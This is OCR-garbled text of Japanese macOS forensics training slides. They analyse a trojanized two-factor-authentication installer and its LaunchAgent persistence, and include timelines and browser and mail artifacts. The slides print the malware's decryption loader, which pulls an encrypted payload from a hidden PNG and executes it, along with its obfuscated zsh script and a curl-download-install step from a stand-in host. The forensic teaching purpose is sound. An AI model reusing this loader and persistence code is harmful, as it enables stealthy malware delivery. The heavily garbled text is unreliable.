
% mktemp -t Installer
/var/folders/yb/qc221tgs12z203pjg52r40m40000gn/T/Installer.cgnxY9Ss

o TS AEITORERMMNIZZ TV T MIUIANSIDTOT S A
(F. chzisLTWS

182



()
N

Installer.dmg®f#4T (8/10)

- B IV B LUGRRYERAT (7)
- 157%31’171_ —AFEESH SN XAV T

= Desktop — -zsh — 80x24

macforen51cs@macforensicss—Mac Desktop % tail -c —-8448 /Volumes/Installer/TinkaOl/E
TP\ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes-256-chc -s
alt -md md5 —-d -A -baseé4 -pass 'pass:UdIm~Kd1l$bOd[&E="'

#!/bin/bash

zsh << 'ph2@3uHD4Jr'

AjPcg='\U6c\UB75\U"' ;HFYRVbC3="'U@R® "' ; snsKZIuq="'065\U6"' ; pWwI7WGKaf2TA="'\UBBBBRse\U73
\U';zKRUTNt='0056\U0000"' ; HnoxUM="'@77\U00B06e\Ubc\ ' ; kkH='e\U0000032\U08B6"' ; h3Uy67uu
DSw='00044\U0 "' ; zkQnnlmhZ="'002f"'; kGvflX="'6\U00B0BBO61\"' ;BImMV="'006b\U0GGOO"' ;wl9twepr
c0="\UB4f\';VDnNHBIA='000041";s4Lb="2f\U';mt0JceBY1i0="'U000041\U00GBOO"' ;aTzaolV="U
002" ;BGWrjiMu='U069\ "' ; PUXo="'UB61\UB4T\U5S4\ "' ;u06Fzqn3HU="'U00002e\UBBS6L\U6d' ; TOVp2
u='0069\U0"';eXIXifé7L="'00061\U000RR "' ; F60to8A="0\URRRR"' ;Zwp="74\UBBB0' ; zYWQ b\U
0061' ;WUnj9CkjgfK="\U67\UB0a\U63\UR"';ZBh="'050\U0'; r24AB7cL1SF="\U61"';nHTz37="'U00
00075' ;QhpwR1="'0063" ; fNyxKoPQGA="'\U6c\UBGI\U7 6';gAKXfaVT="'5\U000073\UB2"' ;doy7
9qntR41="'0000073' ;M3GNWwF1U="'\UB50"' ;YeP5udqyhA="'006e\';dY1l0ytf5="'\UBB6bL\URSL' ;N0
90gjocwKhE="d\Uéb "' ; XNfdXw8nLO="'4\U000000"' ;B61faMull="'UeB0b6e\Ubb\"' ;XZHySz="'00004"
7hAL3PmF="'9\U@"' ;pieFvZOPBlfy='U@0000Q'; FHe='U0000O' ;nfawlc="'1\U74"'; ThbhEYQGddwwa="7
4\UP0eB74\UB70\U' ;EeSr2AiZ3="'0\UBLBRA6C ' ;Zd '9003a\URB2"' ; J1DhNrgdDYSL="'82f\"';GC
08="'4\UPRRRRR69\UBA "' ; hEMValC="'08008086d\U65\U73\U0"' ;z8T="'\UBBB74\U69"' ;mwvYsF='056\U
0000067 ' ; kl4='\UBBA"' ; 1xFra9zkSKtH="'62\U0BB0061\U" ; ycsMLH="\U6F\U6e\U' ;wT5A6kh2U=
'1\UGeRB4T\UQOO54 ' ; IeLT2VWBF6="'U0000002F\UB ' ; XEd9xeOMjz4="54\UB0B69\Ube" ; FnzwySMx
Yfo='6f\"';Ypp3zeT="00a\"';QaLkFWN7YM="'\UB58\';qléHqTmY3="'echo';RQO1LEMuxg="'U@BR"' ;N
yDHje8F8P='0020\U007e\ ' ;RLV6="'7e\"';yumNO1XI="'UB0O4T\UBBS4\ ' ;PhSKkT1lés="'72\U020\U0O
0000';Ldp3S='06T\UBB6Cc\U75\U"' ;DEZ="'\UB0BO20\ ' ;Z6ARePS8iTd="'000062\URRGBO72\U" ; K40
fQNF='U@R0R50 ' ; YAOMET="'\U000854\U00069\U' ; SVtcIODfxL="'f\U@' ;XfztDpGUUE3T="'0072\U2 183




Installer.dmg®&#4T (9/10)

) BB LURRIIEERNT (8)
- 1EREERUERA CHFH L2 R

()

% ~/Desktop/exported_files/deobfuscated_script_mod.sh

eval #!/bin/bash

curl -L http://www.2fa.test/download/TinkaOTP.dmg -o ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg

cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/

hdiutil eject /Volumes/TinkaOTP

mkdir -p ~/Library/LaunchAgents/

open /Applications/TinkaOTP.app
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Installer.dmg®##4T (10/10)

o 2EXE DEESE L ZAIUT ROARBEHS.
TinkaOTP.dmg(dTinkaOTP Installer.applcdo
T. curI’a’:ﬁDTG’U/D Féﬂhgth‘ﬁh‘é

o curlfMBEONTfzsD. 7—T4T7INIAI>0—R
DIEENTES RN

> com.apple.quarantine¥sRE FEEETESNIRL)

28, GatekeeperlC&BDFIVIMMTNNAIRL

o BL_E&D. Installer.dmg®DF7>0—RHS.mina
DEITETDT )74 t7'4 HDhofz
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()

° [

o REBRDm (1/3)

) ° _mina’i@)ﬂ’\]ﬁﬂ‘ﬁbtﬁm(c_\ }\O_ ‘/Z?‘)Z??
1V DVERRZRESS TSP oI

BUEORTIT1ET1EUT, 2B
{EXHVT R Cl ~/Library/LaunchAge
Zr\)zl;@’i{’lf’)fb‘b TlnkaOTP app=E1TUT

DEHEE
gents]J

% ~/Desktop/exported files/deobfuscated script mod.sh

eval #!/bin/bash

curl -L http://www.2fa.test/download/TinkaOTP.dmg -0 ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg
cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/

hdiutil eject /Volumes/TinkaOTP
mkdir -p ~/Library/LaunchAgents/
open /Applications/TinkaOTP.app

[ com.aex-loop.agent.plistIMESNZIAILS
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12 v3 = realpath_DARWIN_EXTSN(*argv, @LL, envp);
13| if ((v3)
15 /4 = (void *)u3;
16 _ bzero(_ dst, 512LL);

. 17 if ( getuid() ) . o - —

mina®d R — B 1—H—D)N—3 27> XTI
. « = @ groewesdtas | ~/Library/LaunchAgents/com.aex-loop.agent.plist
i } 7 } b 2% goto LABEL_Q;_ .
) was e j Z| st v
25 * + 39] = "tsilp.t';
26 * + 32] = 'tnega.po’;
27 * + 24] = 'ol-xea.m’;
28 * + 16] = 'oc/stneg’;
29 * 7 + 8] = "Ahcnual/";
38 * = "yrarbiL/";
31 1
32 {
33 |LABEL_9:
34 free(vd);
a 35 goto LABEL_16;
rootl—Y—-0 |2
IN=2RT AT else

strepy(_ dst, "E_ib'a’yf_aunchDaewcnsfccw.aex-lccp.agent.plist")l

I vd = fopen({_ dst, "w")l

% S

—_

—R 1Y -DIFE. TIAIKT
~/Library/LaunchAgents/ J#)LFH
FIELRVZ8D, fopen()(FKENT S

v Sy

fprintf(

VB

"¢?uml version=\"1.8\" encoding=\"UTF-8\"?>\r\n"

"<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.8//EN\" \"http://www.apple.com/DTDs/Propertylist-1.8.dtd\
"¢<plist version=\"1.8\">\r\n"

"<dict>\rin”

52 "\te<keyrLabel</key>\r\n"

53 "\t<string>com.aex-loop.agent</string>\rin”



C

D)

o REHRDI (3/3)

o EFRDVYI DTV AL DFRNTIE, 21V A

JUTRT, [~/Library/LaunchAgents/

=

1)

AERRDIN) %

O

SHICAERRN T DT N—=2RT 2 AT7

WL TUVD

>_minaDENRIERMTORFEEIERICINIL N

—S ATV AT7ANDVERRBHERR TED
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@ CCETDALLTAY (1/2)

2021-11-25 04:41:22.660911

2021-11-25 04:41:27.593697

2021-11-25 04:41:34.416693

2021-11-25 04:41:37.924145

2021-11-25 04:41:38.114360

2021-11-25 04:41:40.842618

2021-11-25 04:41:40.892716

/Users/macforensics/Downloads/Installer.dmg {EBk
(http://www.2fa.test/download/Installer.dmg h*5SafariC4 9> 0—R)

/Users/macforensics/Downloads/Installer.dmg XU b (AREERHIR)

Installer Y2 I~ (apfs)

TinkaOTP Installer 24T (Finderh5)

/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 3247

/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer,jv3viUms 1T
(TinkaOTP Installer ROV T HELUELT, TinkaOTPDEFTETITI)

/Users/macforensics/Downloads/TinkaOTP.dmg {ER%




® CCETODIMLIA> (2/2)

2021-11-25 04:41:44.076904

2021-11-25 04:41:44.097888

2021-11-25 04:41:44.355439

2021-11-25 04:41:44.446290

2021-11-25 04:41:45.360051

2021-11-25 04:41:45.398062

2021-11-25 04:41:45.406457

2021-11-25 04:41:59.291558

TinkaOTP ¥ b (hfs)

/Applications/TinkaOTP.app ER% (TinkaOTP.dmgRIDT7A)LEED)

TinkaOTP 7>XJ> b (hfs)

TinkaOTP 3217 (opendN> RH5)

/User/macforensics/Library/.mina fER% (TinkaOTPA'ROY)
/Users/macforensics/Library/.mina 3817 (TinkaOTPH'E1T)
/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist YEB (.minah'/E
%)

Installer 7>ND> b (apfs)




C

CCETDIA LA ARDIRD

) o Installer.dmgDEEATHESR

* TinkaOTP Installer.apph'EiTeN L. 5wk

nic>1) LZ’]U?OI\’EL/(_FODT'f JLELTROYI I3

» /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T

/Installer.jv3viUms
- ROWT &SNS TV AH)T NOIERZES

» TinkaOTP.dmgDAI > O— RBLUA A R=)b. F4THT
nns

> minahN\—> 27> A%ZEHTE CESRVWTIERELT,
~/Library/LaunchAgents/J#)L%5 DYERK
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Exercise 6:
TinkaOTP Installer.apphEiTaN /IR
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TinkaOTP Installer.app=E1T(CBANZAEDBER

- CCETODAAT. Installer.dmgZSafarit4
20— RUIRROT7 ITAETA (SR TELR

° UL

nsta

UIZIBA (.
cCOIORIGE. I-U—BBD7I571E571IC.

1f

Z X %=

ler.dmgz459 20— RELUEST
iﬁ_ﬁb‘bhb\

SENDOD R S BIEEMEN DD

= Web®D 7)€ ARERE
« WebDIRZRJEFE
= A=)l RRE

193



TinkaOTP Installer.app31T(C
ENDD7—T14I77 b
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Web7JtX(Safari)D7—714777k (1/2)

° History
= /Users/<username>/Library/Safari/History.db
* TIAKNTCIETIHRS
°Downloads
= /Users/<username>/Library/Safari/Downloads.plist
* TIANKCTIHTHEAS
° Last Session
= Safari 14L48]
» /Users/<username>/Library/Safari/LastSession.plist

= Safari 15L4p%

» /Users/<username>/Library/Containers/com.apple.Safari/Data/Lib
rary/Safari/SafariTabs.db
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Web7JtX(Safari)D7—7147Jk (2/2)

© Bookmarks
® /Users/<username>/Library/Safari/Bookmarks.plist

© Extensions
" Safari 13L4A]
> /Users/<username>/Library/Safari/Extensions/Extensions.plist

= Safari 14LAP%

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/App
Extensions/Extensions.plist

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/Web
Extensions/Extensions.plist

© Preferences
= Safari 12481

> /Users/<username>/Library/Preferences/com.apple.Safari.plist

= Safari 13LAP%

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preference
s/com.apple.Safari.plist
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e X—JL(Apple Mail)D7—71T7Jk

O oSpotlightldT AL R TApple Mailb1 >
TYI ZEDIRICZFA TS

o CCTIE. Apple MailBEED I ) ZzE %
BT BOTIIAL, SpotlightT—HR—2
ZRBEXIZRET D
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Hands-on:
TinkaOTP Installer.appht
KITSNIBHDRAR
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h\b}’él 973
o RBEXTHR

* mac_apt.db
» Safari

e TinkaOTP Installer.apphEiTeNEERADHEER

> o:L—*J“‘—D“Finderb“STinkaOTP Installerz

ZWeb 7 JTAREREP A=)

» Spotlight-macforensics-store_com.apple.mail
» Spotlight-macforensics-.store-DIFF_com.apple.mail
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® mac_apt.db : Safari (1/3) -

O oSafarilc&kdWeb 7 I ADERE

= WebR—ZDA4 ML, URL, 7 ABE
o I4IWAUTEAE (1)

= Type = HISTORY

= Name_or Title : #RZRUIZEHEE ™ WebR—DAA
N

» Date®V — NI BETR—IBREODIBICERIT B
ENNTED
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® mac_apt.db : Safari (2/3) -

O oSafariD 7 RLZ)\—h\eteZRxiToIcEFE
« MRERN T iR R T oIc H I

o 4T (2)
- Other Info = RECENT SEARCH

- Name or Title : #RZRU-EHEE
« Date : HRZRZ(TOEAA LA T
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mac_apt.db : Safari (3/3) -

°SafaricAJ>0—-RUIEI7AILDUA K
= Jp4)LDOAD>0— RURL, RFHDIT7AIICZ
" AL LAF TR0
SR %OVIE J:HE)
= Type = DOWNLOAD
" URL = IREEI(CEEIBIRA(>E
= URL : ¥9>0— R7cURL
* Other_Info : &R1FLDI7AIVILA
= H1>0— REBFEEERINR

° WebR—SZSBLTIrM 297> 0—- RUIBEE. Type
D\H|STORYtDOWNLOAD@Fﬂﬁtnaﬁéné(;ta‘
" Type = DOWNLOADIFHNEEEREN TV BIHEEIE... ?
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® mac_apt.db : Spotlight—macforensics—*_com.apple.m-

G o I 4t

- kMDItemAuthorEmailAddresses : IX{EE DA —
W77 R A

- c;m_appIe_maiI_dateReceived : X=)VZ2{EH
i
- kMDItemSubject : X—)U %

. T\k)M DitemSnippet : X—)LARNX (§AK300/\4

- WEEMERULRAA>BEFETIIAII TS
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Solutions to
Exercise 6




® TinkaOTP Installer.apph'=EfTaN/ziEH (1/5)

O omac_apt.db : Safari

= VU RAEREEARRIERZMEER I DL LLFOLOR
YW—JUCDWTERRTLECEN N B
»NIRNIIVREAFEY -
»TEANIT 4%
» brew

» 2B EREBAY I
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Type
rory €
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY
HISTORY

Name_or _Title

Google

Google

mac software developer tools - Google Hi%

mac software developer tools - Google Hi%

mac software developer tools - Google Search
mac software developer tools - Google Search

25 Mac Tools for Productive Ceding

Visual Studlo 2019 for Mac - IDE for macOS

Free Developer Software & Services - Visual Studle

Thank you for downloading Visual Studlo for Mac - Visual Studlo
Thank you for downloading Visual Studlo for Mac - Visual Studlo
Thank :nu for downloanlng Visual Studlo for Mac - Visual Studlo
brew Install - Google Search

brew Install - Google Search

The Missing Package Manager for macOS (or Linux) — ...

URL
https:{jwww.googh 7l |&ck bm
https:{jwww.googh 7l |&ck bm
https:fjwww.googh it |&r q +d per+
https:fjwww.googh it |&r q +d per+

ITF-B&0e=UTF-&

hitps:/jwwagoo

ITF-B&0e=UTF-&

https:/jwww.gos

VTN TR — L AR T

[F-8&08=UTF-8

F-B&0e=UTF-8

https:fjwww. freecodecamp.org/news/ 25-tools-everyone-coding-on-a-mac-should-know-and-try-8e8de8b3d9bh)

https:{jwww.googh i I&r q + per+

https:fjvisualstudio.microsoft.com/vs/mac/

ITF-B&0e=UTF-8

https:fjvisualstudio. . f d D trers/

https:fjvisualstudio. ft.comfthank-you-d | |sual-studio-mac/? &rel=16
https:fjvisualstudio. ft.comfthank-you-d | |sual-studio-mac/? Arel=168
https:/jvisualstudio ft.com/thank- d I Isual-studi J &rel=16

https:/jwww.gos

PS:{fWWW.GO

brewZ{&RZR

https:{/brew.shf

mac text editor - Google Search

mac text editor - Google Search

12 Best Text Editors for Mac You Should Use In 2020 |

Best text editors In 2021: for Linux,Mac,and Windows coders ...
Best text editors In 2021: for Linux, Mac,and Windows coders ...
Documentation for Visual Studio Code

Best text editors In 2021: for Linux,Mac,and Windows coders ...
Best text editors In 2021: for Linux, Mac,and Windows coders ...
two factor authentlcatlon mac - Google Search

two factor authentlcatlon mac - Google Search

two factor authentlcatlon tocl mac - Geogle Search

two factor authentlcatlon tocl mac - Geogle Search

Multl-factor authentication - Wikipedia

Configuring two-factor authentication - GltHub Docs
Configuring two-factor authentication - GltHub Docs

Configuring two-factor authentication - GltHub Docs

https:{jwww.googh 1 I&r q text+editor&le=UTF-8&0e=UTF-8
https:{jwww.googh 1 I&r q text+editor&le=UTF-8&0e=UTF-8
https:f/b .comybest-text-editors-for-mac/

https:/jwww.gos

THFANITAHEARZR

https:/,

https:f/codevisualstudic.comy
https:fjwwwiechradar.com/best/best-text-editors

https:fjwwwiechradar.com/best/best-text-editors

— ViR

https:/fwww.googl J &r g=two+factor+authentication+ JTF-B&0e=UTF-8
https:/fwww.googl J &r g=two+factor+authentication+ JTF-B&0e=UTF-8
https:/fwww.googl J &r g=two+factor+authentication+tool+macle=UTF-8&0e=UTF-&
https:/fwww. 8le=UTF-B&0e=UTF-&

le=UTF-BRoe=UTF-8

https:{/docs.glthub.; | Icatl uring-your: t-with-two-factor-auth 2fajconfiguring-...
https:{/docs.glthub.; | Icatl uring-your: t-with-two-factor-auth 2fajconfiguring-...
https:{/docs.glthub.; | Icatl uring-your: t-with-two-factor-auth 2fajconfiguring-...
https:{/docs.glthub.; | Icatl uring-your: t-with-two-factor-auth 2fajconfiguring-...

Col gurlnatw ctor authentication - GltHub Docs

Date «*

2021-11-25 03:44:42.490200

2021-11-25 03:44:43.021704

2021-11-25 03:52:56. 809620

2021-11-25 03:52:57.575365

2021-11-25 03:53:11.355281

2021-11-25 03:53:11.355690

2021-11-25 03:53:12.176148

2021-11-25 03:53:29.773581

2021-11-25 03:54:29.257007

2021-11-25 03:54:29.257259

2021-11-25 03:55:22.036978

2021-11-25 03:56:11.801063

2021-11-25 03:56:15. 819435

2021-11-25 D3:56:31.3B3405

2021-11-25 03:57:27.667673

2021-11-25 0D3:57:28.476534

2021-11-25 03:57:40.640211

2021-11-25 04:07:34.936956

2021-11-25 04:07:35.924957

2021-11-25 04:08:08.635769

2021-11-25 04:09:01.485156

2021-11-25 04:09:01.485422

2021-11-25 04:09:13 458577

2021-11-25 04:03:21.700940

2021-11-25 04:09:23.473822

2021-11-25 04:09:23.647421

2021-11-25 D4:20:28.351796

2021-11-25 04:20:29.435013

2021-11-25 04:20:51.181664

2021-11-25 04:20:52.012964

2021-11-25 04:21:24. 373810

2021-11-25 04:21:56. 820937

2021-11-25 D4:21:56. 821241

2021-11-25 04:21:57.158382

2021-11-25 D4:22:49.040450

2021-11-25 04:22:49.040736




F—7 ) || safari

GEMERAL
GEMERAL
GEMERAL
GEMERAL

GEMERAL

e TinkaOTP Installer.apph

Name_or _Title

mac software developar tools
braw Install

mac text edltor

two factor authentlcation mac

two factor authentlcatlon tocl mac

Type = HISTORY&
[RUARZRDEEEE

M

EiTSNER (3/5)

2021-11-25 03:52:56. 322884

2021-11-25 04:20

003565

RECENT_SEARCH
RECEMT_SEARCH
RECEMT_SEARCH
RECEMT_SEARCH
RECEMT_SEARCH

RECENT_SEARCH

Other _Info
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® TinkaOTP Installer.apphEiTsN/IEH (4/5)

O oURL%Z2fa.test CI/IAU T TBE, A
O0—K 15}*7‘71(/773‘52‘\3“5

: 9‘9>D— |\ @}*7"0)5'77)\DE‘1°‘%37(1‘CL\<79K_&>
A= )Xyt —AAOY > 9%y THY
>O— RUERIBEEN ®D
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® TinkaOTP Installer.apph‘=EfTen/ziEH (5/5)

° LTFDSQLITIT, AXHI(Z[ 2fatest [ZZOA=ILDI> b
Y U—ARRCED
SELECT kMDItemPrimaryRecipientEmailAddresses, kMDItemAuthors, kMDItemAuthorEmailAddresses,

com_apple_mail dateReceived, com_apple mail datelastViewed, kMDItemSubject, _kMDItemSnippet FROM "Spotlight-
macforensics-.store-DIFF_com.apple.mail” WHERE _kMDItemSnippet LIKE "%2fa.test%";

kMDItemPrimary ReciplentEmalladdrasses kMDItemAuthors kMDItemAuthorEmalladdresses com_apple_mall_dateRecelved com_apple_mall_datelLastViewed

1 mactoransics@my -companyiedampla ZFA Sales sales@Zfatest 2021-11-25 D4:28:04 20271-11-25 04:49:32.065702

kMDItemSubject _kMDItem5snippet

Try our new two factor authentication tool!!  Dear customers, We've developed a brand new two-factor authentlcation tool for macOS!! Download and try [t mow.http:ffwww. 2fatest/download/installer.dmg

°o N\ ZXA>DIED. BRIRICTYS > A= )ILDARS 2300/ A
MIUXFEDLI(CUIE

° EFRDA> ST O NTIE>BIERA=IITAL > SWINAE(TIRDE
BDND
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® CZETOIMLTA> (1/2)

2021-11-25 04:28:04 QEIRIDILY I EIRZEUTUVZECA T, sales@2fa.test N5 TS 20 X—) %245
2021-11-25 04:41:22.660911 /Users/macforensics/Downloads/Installer.dmg {ER% )
(X=ILADU>I7ZI)IUT, http://www.2fa.test/download/Installer.dmg H*5SafariT4
7>0-R)
2021-11-25 04:41:27.593697 /Users/macforensics/Downloads/Installer.dmg X9 b (AREERHIR)

2021-11-25 04:41:34.416693 Installer YU/ (apfs)
2021-11-25 04:41:37.924145 TinkaOTP Installer £1T7 (Finderh'5)
2021-11-25 04:41:38.114360 /Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 3247

2021-11-25 04:41:40.842618 /var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer,jv3viUms E1T
(TinkaOTP Installerl* ROYI B LUEST, TinkaOTPDEITETITD)

2021-11-25 04:41:40.892716 /Users/macforensics/Downloads/TinkaOTP.dmg {ER%




® CCETODIMLIA> (2/2)

2021-11-25 04:41:44.076904

2021-11-25 04:41:44.097888

2021-11-25 04:41:44.355439

2021-11-25 04:41:44.446290

2021-11-25 04:41:45.360051

2021-11-25 04:41:45.398062

2021-11-25 04:41:45.406457

2021-11-25 04:41:59.291558

TinkaOTP ¥ b (hfs)

/Applications/TinkaOTP.app ER% (TinkaOTP.dmgRIDT7A)LEED)

TinkaOTP 7>XJ> b (hfs)

TinkaOTP 3217 (opendN> RH5)

/User/macforensics/Library/.mina fER% (TinkaOTPA'ROY)
/Users/macforensics/Library/.mina 3817 (TinkaOTPH'E1T)
/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist YEB (.minah"E
%)

Installer 7>ND> b (apfs)




C

) LA ET, 5[0

o CIFTODHMLIAARNIRD

), \/Zj/(c_

J2uie> 7

AMFEUIE I AL oW I LT % 5T

SEDENTELL

= TinkaOTP InstallerzE17UICARZDIER(CDWNT
(&, 1I—-H =/ AE1—UTHEER I DN ENHD
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@ i mEEEEn:E
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TinkaOTP Installer.apph's=17CEER (1/3)

>Safarit47>0—RUIZI7AIVIC(E,
céom.apple.quara ntinefllaRBEMT SN

- Gatekeeper/Notarization(C&D THREBRD
P INT =23 (EEITTERL

 EFRC[EFRITTERVNGT DT TIT -0
E{TINIC

°GatekeeperkEDtF1)T1IL—LD—-IhH
JNA NN ZAENTERTREMED DD

214



® TinkaOTP Installer.apph'=E4T7TZI8A (2/3)

O fEAUHMESEM : CVE-2021-30657
* macOS Gatekeeper Bypass (2021 Edition)

» https.//cedowens.medium.com/macos-gatekeeper-
bypass-2021-edition-5256a2955508

= All Your Macs Are Belong To Us
» https://objective-see.com/blog/blog 0x64.html
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https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
https://objective-see.com/blog/blog_0x64.html

()

) omacOS 12.0.1CEITUIS

TinkaOTP Installer

?

“TinkaOTP Installer” cannot be
opened because the developer

mac

0OS ca

cannot be verified.

nnot verify that this app is free
from malware.

127.0.0.1

Eject Disk Image

Cancel

® TinkaOTP Installer.apphE1TT&2EH (3/3)

AN
=
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o HFHULTILZAIITH

()

) «TinkaOTP Installer.app C{E DI E#ft5R1L S
T)LAIUT K

ZShlayercfEON gt zB D CHERUC

osascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file "Volumes:Installer:TinkaOTP
Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer" buttons {"OK"}'

TEMP_NAME="$ (mktemp -t Installer)"

tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out
"${TEMP_NAME}" -pass 'pass:UdIm~Kd1$bOd[&E="' && chmod +x "${TEMP_NAME}" 8&& "${TEMP_NAME}" > /dev/null 2>&1 && rm -rf "${TEMP_NAME}"

% python3 ~/Documents/GitHub/z4so/z4so.py -i installer.sh -c

#!/bin/bash

zsh << 'ToKzwe9'
kkxLxsCrli="0006";L3LKqw3ggwI5="'00000049¥U000" ; YFkOZsBFz="'00006f¥U0" ; jS20E="045¥U4d¥"';GE7j7rrEIE="00061¥U06Cc¥U75¥U" ;VBz="00072¥U20¥U000" ; uAhmlU="74¥U000
0061¥U0002" ;aF9uK2IS1x="073¥U2f¥U0000052 " ; SMQbGKd="U00000 " ; Sbt07="0¥U00000R65¥U6" ; jVbrg="22¥U00000024 " ; gWwOn="'000" ;AUB1Z1gqlm3ny="e¥U00B00O04" ; IN3qa="U0000
005f¥U0 "' ;¥G0="0002" ;gOLI2LVH="3¥UB" ; ehWv7YCqpLAK="U000O70¥U00R06C" ;Ejad="2¥U4f¥U4b¥U22¥U" ;MwlDYgiuueo="03a¥U00054¥U00" ; IIDiTjnk="0045¥U0000004dY "' ;VFc8Dgy
ef="¥U00026¥U0026¥U20" ; vO9OFD="45¥U007d" ;HeTBegXt="073¥U0000O06C¥U2 " ;pvv425="¥UO" ;an4Ua36S55="3¥U";LAnofSd1l4qglL="'0000061¥U000ORAT " ;HViGl6evctYrl="43¥U6";tD7
2TRUa3erc="'¥U000063¥U068Y " ; FXK6XKRXH5f="070¥U00002f¥U0" ; ge6fIvda="20¥U69¥U000O63Y " ;e04PDo="¥U0" ;Jgu="61¥U073¥U000OO73¥U" ;RjodoD="¥U00000072¥U00 " ' ;MVDgONBg
DHRX="00000" ;tTj="'U22¥U00054¥U" ;roQA@J3de="65";VvFCu="'002e¥U0061¥U7 "' ;HMcTOsQUd="3e¥U20¥U2fY¥" ; tkW3Vv03="0¥U5{¥U000000 ' ; sZP="063¥U00000065¥U0" ; UOTgQRPHC="0
00068¥U00" ;B1Sn="000006b¥U0 " ; pr8If="'000004e¥U0" ; ZOCG5Pe6Vy7K="00069¥U00074¥U6C ' ;MS7="0038¥U20¥U02¥U00 "' ; iHkhacZf5t5="0¥U6d¥U00 " ;qcA3qv210wIM="¥U23¥U0000
(snip)




()

e TinkaOTP.app

> TinkaOTP.app&.minaldA&YPDXILIIT7ZE

DFFIEFEUIC
= Lazarus' MacOS Dacls RAT Shows Multi-Platform
Ability

> https://www.trendmicro.com/en us/research/20/e/new-

macos-dacls-rat-backdoor-show-lazarus-multi-
platform-attack-capability.html
= New Mac variant of Lazarus Dacls RAT distributed
via Trojanized 2FA app

> https://blog.malwarebytes.com/threat-
analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-

distributed-via-trojanized-2fa-app/
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https://www.trendmicro.com/en_us/research/20/e/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability.html
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C

o XL

) omacOSIAL v IDE

i (BRI

n.J —7477’7|\<‘:ﬁ¢1‘ﬁ‘y VIRE) &

=19
- mac_aptDEATHE R 7

JLNC, JAL 22w

’7’5"([A7’f/7a':4’|5552 R Yabr =Y
= mac_apth*4Epk 9 33 DDDBNTE %U&:ﬁtﬂl‘ﬁ% BTk

0)7’“[/@')/775/%

- SEDLLVJ Y 5 AORGEREEATOL TS
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Any questions?



@ Appendix 1:
macOSTAL > 29I 7 =747
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® MacOSOIAL>>WIIAERI D7 —74T7Jb

) AR —F7 4 I7 ) NDHZERER T D
cmacOSD Y —74I7 ) MIZLLIPT ()
« OSDI\N=>3> 7y IEBROT. T7AIVINZAD T A
IWZHEEEIND
- OJCERFRENDA XY —HEND
- OV (CERERESNIRCR D
>macOSTAL > Y)Y — JUSHRHTHI IR X
T AWWNE
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I7AIW2AT A — HFS+

© Classic Mac OSH'SfERESINTLSHY, macOS 10.13BABF(EOSHA > A h—
WENBMU1—AFAPFSTHAI SEIIEATITREBIER(FZ

© XFF—=A
" Volume Header
> ZOMDAIT —INDATY NS ER
" Alternate Volume Header
» Volume Header®)\wo7vS
" Allocation File
> FEALTWAIOVIOELY My S
" Extents Overflow File
> BAIT—ANBEHIEITIROEE (\wREIFEZITEEIND)
® Catalog File
> I IAOTANIDAIT =% ART
“ Attributes File
> J74)LX°TAI I DExtended Attributes

© Sy—FU>Y (Mac OS X 10.2.24[%)
“ = 4LIRNIE T journal IMESNZD (NTFSD$UsnIrnl:$J(CAHZ T D)
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J714IV> X7/ — Apple File System (APFS)

© macOS 10.13TEAINZFRULVIPAMILE AT L
" IS RAT LADRAFYT 3y MOBE S LR ECT IS

© T4R) LOFFEDATZY NMIECERSN TV X I T — I DIBISAD BRI
DIETEEMTNONDS
°BIZE. TrAINDATEY M EBICELL T OLORIBERZIEEICSIR TS
® Container Superblock
® Checkpoint area
Container object map (Object map)
Object map B-tree
Volume Superblock
Object map
Object map B-Tree
Filesystem B-Tree (Root node)

Filesytem B-Tree (Leaf node)
j_file_extent_val_t : 74 AU _EDATEYH
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O

7AW AT LAFIT=H (1/4)

o fseventsd

= Mac OS X 10.5LAp%

= HFS+, APFSIE(C{SEFAR]EE

= NTFSD$Usn)rnl:$JELTZBERN EEERS N D

= I VI TLO— RO EEERSNBIcs, J7 1 IAERCZEE. Hl
BRIREEZIDANR MM DICLO—RICEEFREND

= 4 ©hNAAT(FEEERSNBVESD. 7—T4I7I N I74 IV OEFH
B2 BB LTDIA LA TELTIND

= BN\=71232D)— (LI NIETODI fseventsd 1 TAILH LU
FCECERSND
> fseventsdT (L7 NJE FICno_log WLV T7A I ZEDE. DR 1— A
C(FECERSNIATRD
= SNBBAT 1 P ICEAEREND
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o J7AINIATLXIT—H (2/4)

O <.DS_Store

= Mac OS X 10.4LAf%

« HFS+, APFSH(CfEEFAR]HE

« NTFSDS$I30(CATIBERN EEEREN D

« FinderCOAN A% WERRICYERR SN, T71ILD
BRI EZREZIRTFI D

« 1=F8(Trash)N®D.DS_Storelc (FHIBRENTIZI7A)
DAV FINDITFAINZETANFIINANEENS
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I7PAIS AT LAIT =4 (3/4)

¢, °Extended Attributes (JL3REME) (1)

